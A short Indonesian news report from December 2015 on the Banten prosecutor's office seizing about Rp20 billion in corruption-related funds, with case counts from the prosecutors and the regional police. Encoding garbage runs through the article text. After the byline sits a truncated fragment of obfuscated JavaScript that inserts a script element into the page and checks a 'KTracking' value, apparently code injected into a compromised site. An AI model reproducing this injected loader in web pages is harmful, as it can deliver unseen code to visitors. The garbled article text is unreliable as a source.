Serang – Kejaksaan Tinggi Banten mengklaim berhasil menyelamatkan uang negara yang telah dikorupsi sebesar Rp 20 miliar. Uang tersebut merupakan hasil dari pengusutan kasus tindak pidana korupsi selamaA� tahun 2015.

Asisten Pidana Khsusu Kejati Banten Arifin Hamid mengatakan, uang negara tersebut hasil sitaan dari tersangka sejumlah kasus yang ditangani Kejati Banten bersamaA� denganA� Kejaksaan Neger Kejari Serang, Kejari Pandeglang, Kejari Lebak, Kejari Tigaraksa, dan Kejari Kota Cilegon. a�?Total uang negara yang berhasil disitaA� Kejaksaan sebesar Rp20,032,700,000,a�? kata Arifin, Kamis, 10 Desember 2015.

Arifin mengatakan,A� dari kasus korupsi yang ditangani Kejati Banten yang berhasil disitaA� dari kasus dana hibah bantuan sosial Provinsi Banten tahun 2011-2012 serta penyalahgunaan penggunaan dana Jaminan Kesehatan Masyarakat (Jamkesmas) di RSUD Kabupaten Lebak, yakni di Rumah Sakit Adjidarmo tahun 2008-2011.

Menurutnya,A� kerugian negara berdasarkan perhitungan BPK dalam kasus korupsi dana bansos Banten tahun anggaran 2011-2012 sebesar, Rp7,65 miliar, sedangkan Jamkesmas RS Adjidarmo diperkirakan mengalami kerugian sebesar Rp25 miliar. a�?Hingga saat ini, kejaksaan telah menangani sebanyak 23 kasus dalam tahap penyelidikan dan penyidikan, penuntutan 24 kasus, dan eksekusi 42 kasus,a�? katanya.

Sementara itu, Direktur Krimnial Khusus Polda Banten Kombes Pol Nurullah mengatakan selama tahun 2015 pihaknya sudah menangani sebanyak 21 kasus, 17 diantaranya masih dalam proses penyelidikan, penyidikan. a�?Dari total kasus yang kita tangani itu, kita sudah tetapkan sebanyak 21 tersangka dan menyelamatkan keuangan negara sebanyak Rp3.585.661.880 dari para tersangka,a�? kata Nurullah. (Yan/Cing) f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}